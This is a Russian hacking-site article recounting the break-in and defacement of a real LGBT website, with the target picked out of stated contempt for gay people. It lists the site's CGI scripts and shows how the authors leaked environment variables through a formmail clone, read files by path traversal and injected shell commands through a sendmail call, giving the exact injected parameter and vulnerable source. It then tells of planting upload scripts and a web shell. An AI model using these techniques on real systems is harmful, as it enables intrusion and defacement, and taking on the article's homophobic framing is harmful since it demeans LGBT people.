| 
 
.::Главная::. Гостевая Hack $oft Video vzlom Статьи Разное Hack Магазин .::Написать::.

.::Находим уязвимость в CGI::.


.::Находим уязвимость в CGI::.

Как то одним обычным вечером у нас с interzoidом родилась мысль что-нибудь сломать. И чтобы не переносить свою агрессивность на родных и близких, мы решили поломать что-нибудь менее материальное, т.е. интернетовские хосты. Не знаю, чем это обусловилось, может быть врождённой нелюбовью ко всяким извращенцам: геям, зоофилам и т.д., но мы направили свои усилия на www.gay.ru - главный форпост голубых в интернете.

Теперь о деле... CGI-сканирование не дало никаких результатов, за исключением файла robots.txt, в котором и так никакой ценной инфы не лежало. Сканирование некоторых портов - тоже. А сканировать подсеть не хотелось - www.gay.ru хостился на зеноне, а это уже не шутки. Короче, полез изучать скриптики, которые были у геев. BlackWidow никаких скриптов не нашла - сказывалось пагубное влияние robots.txt, а вручную просматривать несколько тысяч страниц не хотелось. Выход был найден, и им оказался TeleportPro. Если кто не знает, то эта прога предназначена для скачивания сайтов. В общем, поставил её на скачку и пошёл телевизор смотреть. Когда через полтора часа вернулся, большая часть html-файлов с сайта была скопирована, и путём поиска по содержимому файлов, я выявил файлы, в которых встречались слова типа cgi, pl, php и т.д. Получился у меня такой списочек скриптов:

http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=gayru

http://gay.ru/cgi-bin/advert/sputnik.pl?member=gayru;banner=NonSSI;'%20banner%20+=%20'page='%20+%20random%20+%20'

http://www.gay.ru/cgi-bin/to_koi.pl

http://gay.ru/cgi-bin/advert/sputnik.pl?member=gayru;banner=NonSSI;page=01

http://www.gay.ru/cgi-bin/msgs/msgs.pl?messages=1

http://www.gay.ru/cgi-bin/msgs/msgs.pl?messages=1&bbs_url=http://gay.ru/science/psycholg/voron1.htm

http://www.gay.ru/cgi-bin/bbs_idea.pl

http://www.gay.ru/cgi-bin/bbs_work.pl

http://www.gay.ru/cgi-bin/bbs_app.pl

http://www.gay.ru/cgi-bin/bbs_net.pl

http://www.gay.ru/cgi-bin/bbsg.pl

http://www.gay.ru/cgi-bin/bbsb.pl

http://www.gay.ru/cgi-bin/bbsa.pl

http://www.gay.ru/cgi-bin/bbsae.pl

http://www.gay.ru/cgi-bin/bbsl.pl

http://www.gay.ru/cgi-bin/bbst.pl

http://gay.ru/cgi-bin/h2search.pl?what=

http://gay.ru/cgi-bin/advert/sputnik.pl?banner=manevr

http://www.gay.ru/cgi-bin/bbs_aw.pl

http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=bludni

http://www.gay.ru/cgi-bin/bbs_ap.pl

http://www.gay.ru/cgi-bin/xform.pl

http://www.gay.ru/cgi-bin/form.pl

http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=apatient

http://gay.ru/cgi-bin/advert/sputnik.pl?member=apatient;banner=NonSSI;page=01

http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=manevr

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=prop01

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=zver04

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=fun06

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=fun10

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=bad04

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=love05

http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=sex06

http://www.gay.ru/cgi/php/weekq_mainpage.php3

http://gay.ru/cgi/gliws.pl/templates/gliws

http://www.gay.ru/cgi-bin/mailto00.pl

http://www.gay.ru/cgi-bin/search/search.pl

http://www.gay.ru/cgi-bin/ban.pl

Получив этот список, я начал тыкаться по очереди в каждый скрипт. Тут обнаружилась одна интересная вещь: инфа, выдаваемая скриптом /cgi-bin/xform.pl, очень была похожа на инфу, которую выдаёт всем известный скрипт formmail.pl. Кстати, именно так и оказалось: xform.pl - это был просто переименованный formmail.pl версии 1.6. Версия 1.6 не обладала дырой, которая была у первой версии этого скрипта (если кто не знает, что за дырка, то посмотрите на воиде или где-нибудь ещё...). Но всё равно, это было лучше, чем ничего, т.к. можно было хотя бы достать исходник скрипта и изучить его, чем я и занялся. При первом просмотре исходника ничего подозрительно в нём не оказалось, и мне даже показалось, что через него невозможно вломиться. Но тут я обратил внимание на несколько интересных фрагментов:

@Env_Report = split(/,/,$Config{'env_report'});

# Хэш %Config обозначает данные, введённые формой, а env-report - один из параметров формы.

open(MAIL,"|$mailprog -t");

print MAIL "To: $Config{'recipient'}\n";

print MAIL "From: $Config{'email'} ($Config{'realname'})\n";

# Отсылка почты по указанному юзером в форме мылу.

foreach $env_report (@Env_Report)

{

if ($ENV{$env_report})

{

print MAIL "$env_report: $ENV{$env_report}\n";

}

}

#Самое главное из этих фрагментов - на своё мыло вместе с письмом можно получить любую переменную окружения, какую мы укажем в форме в качестве значения параметра "env_report".

Пока данная дырка мне не давала ничего, но это только пока... После обнаружения этой дыры я полез тыкаться в другие скрипты, указанные в списке, и тут я наткнулся на очень интересный скрипт, который, по сути дела, и стал "решающей дырой" в этом хаке. А выглядело это так: ткнулся я по такому URL:

http://www.gay.ru/cgi-bin/msgs/msgs.pl?messages=1&bbs_url=http://gay.ru/science/psycholg/voron1.htm

Ну..., подумал я, похоже я наткнулся на скриптик, осуществляющий proxy-функции, т.е. сам скачивает и передаёт нам URL, который мы указали ему с параметром "bbs_url". Испытаем... Поставил я вместо http://gay.ru/science/psycholg/voron1.htm свой URL - http://www.rambler.ru. На этот запрос скрипт ругнулся, причём ругнулся очень приятным для меня сообщением:

File "/bhome/part1/02/gay/www/http://www.rambler.ru" not found

Выходит, я теперь могу прочитать любой файл на web-сервере, доступный мне по полномочиям. Набираю URL:

msgs.pl?messages=1&bbs_url=../cgi-bin/msgs/msgs.pl

и получаю ответ:

File "/bhome/part1/02/gay/www/../cgi-bin/msgs/msgs.pl" not found

Виртуальная папка cgi-bin на самом деле называлась по другому, и этого настоящего имени я не знал.... И вот тут мне на помощь пришла недавно обнаруженная мною дыра в xform.pl (aka formmail.pl). Ввожу в качестве переменной окружения, которую мне надо узнать, SCRIPT_FILENAME и получаю в свой почтовы ящик письмо:

SCRIPT_FILENAME: /bhome/part1/02/gay/vcgi/xform.pl

Ага! теперь местонахождение виртуальной папки cgi-bin известно - vcgi. И теперь пробую такой URL:

msgs.pl?messages=1&bbs_url=../vcgi/msgs/msgs.pl

И вот, я уже читаю исходник этого скрипта... Но ничего интересного в этом скрипте не оказалось, как и почти во всех остальных. Чтобы понять это понадобилось много времени (скриптов в списке предостаточно, как вы сами, надеюсь, заметили). Но один скриптик оказался дырявым - скрипт form.pl (не путайте с xform.pl). Вот его исходник:

#!/usr/local/bin/perl -w

# Code reconstruction by Dark-eye :-))

use strict;

use CGI qw/:cgi/;

sub bail

{

my $error = shift;

print "Content-type: text/html< html>\n\n< body>< center>< h1>Unexpected Error Occured< /h1>< p>$error< /body>< /html>\n";

die $error;

}

my($list,@list);

my $tmpFile=time;

$tmpFile.="f.tmp";

my $current=CGI->new();

if($current->param('ac'))

{

my $email=$current->param('email');

my $on=$current->param('page_sub');

my $off=$current->param('page_unsub');

my $erremail=$current->param('page_err_email');

my $gen=$current->param('page_err');

if($email!~/.+@.+\..+/ || $email=~/^\./)

{

print "Location: $erremail\n\n";

exit 0;

}

foreach $list ($current->param())

{

push( @list, $1 ) if $list=~/^auto_(.+)/

}

# bail(join("

",@list));

unless(@list)

{

print "Location: $gen\r\n\r\n";

exit 0;

}

foreach $list (@list)

{

unlink $tmpFile;

open( TMP, ">$tmpFile") || bail("Error: $!\n");

print TMP "Subject: \n";

print TMP "From: <$email>\n";

if($current->param('code') eq "translit")

{

$list.="_eng";

}

if($current->param('ac') eq "on")

{

$list.="-on";

}

else

{

$list.="-off";

}

print TMP "To: <$list\@gay.ru>\n";

print TMP "\n";

close(TMP);

#system("/usr/sbin/sendmail $list\@gay.ru < $tmpFile") && bail("System error: $!\n");

system("/usr/sbin/sendmail $list\@gay.ru < $tmpFile");

#system("/usr/lib/sendmail dim\@gay.ru < $tmpFile");

unlink $tmpFile;

}

if($current->param('ac') eq "on")

{

print "Location: $on\r\n\r\n";

}

else

{

print "Location: $off\r\n\r\n";

}

}

else

{

bail("Error: $!\n");

}

 

Работу всего скрипта объяснять не буду - те, кому это надо, сами разберутся. Остановлюсь только на ключевых моментах. Итак, сразу скажу в чём дырка. Если вместе с формой скрипту передаются параметры, имя которых начинается с "auto_", то всё, что идёт после "auto_", заносится в массив @list. Оригинально, правда?:

foreach $list ($current->param())

{

push( @list, $1 ) if $list=~/^auto_(.+)/

}

Допустим, скрипту передаётся параметр "auto_mama+papa=me". В переменную $list[0] занесётся mama+papa.

Далее, в коде есть такая вещь:

system("/usr/sbin/sendmail $list\@gay.ru < $tmpFile");

Ну тут, только слепой не заметит дырку. Если мы передадим скрипту параметр auto_me@mail.ru < form.pl; echo FuckYou! >fuck.txt; mail none;", то получится такая штука:

system("/usr/sbin/sendmail me@mail.ru < form.pl; echo FuckYou! >fuck.txt; mail none@gay.ru < $tmpFile");

No comments, и этим всё сказано... Далее, при помощи комманды 'echo' я собрал на серваке php-скрипт для закачки файлов (его исходник вы можете посмотреть в моей статье про php). Затем в течении пары минут на C++Builder сваял консольную прогу для перевода текста из DOS'овского формата в UNIX'овский:

#pragma hdrstop

#include < condefs.h>

#include < fstream.h>

#include < conio.h>

//---------------------------------------------------------------------------

#pragma argsused

int main(int argc, char* argv[])

{

printf ("Written by Dark-eye\nDOS text to UNIX text converter\n");

if (argc < 3)

{

printf ("\nUsing:\n dos2unix.exe < source file> < target file>");

return 0;

}

ifstream source(argv[1], ios::binary);

ofstream target(argv[2], ios::binary);

source.seekg(0, ifstream::end);

char cursym;

int source_len = source.tellg();

source.seekg(0);

for (int i=0; i < source_len; i++)

{

source.get(cursym);

if (cursym == '\x0d')

continue;

target.put(cursym);

}

return 0;

}

...обработал ею файлы commander.pl и необходимый для его работы cgi-lib.pl, закачал всё это добро на сервер, закачал php скрипт, выполняющий chmod (его исходник тоже, кстати есть в моей предыдущей статье), изменил атрибуты у коммандера. Интерзоид к тому времени подогнал классную дефейсную страницу и всё, сервер был наш!

 





Дизайн и разработка сайта  Project.Lepest "Проект Amega"

© 2000-2005 Все права защищены и охраняются законом.

Сайт управляется системой uCoz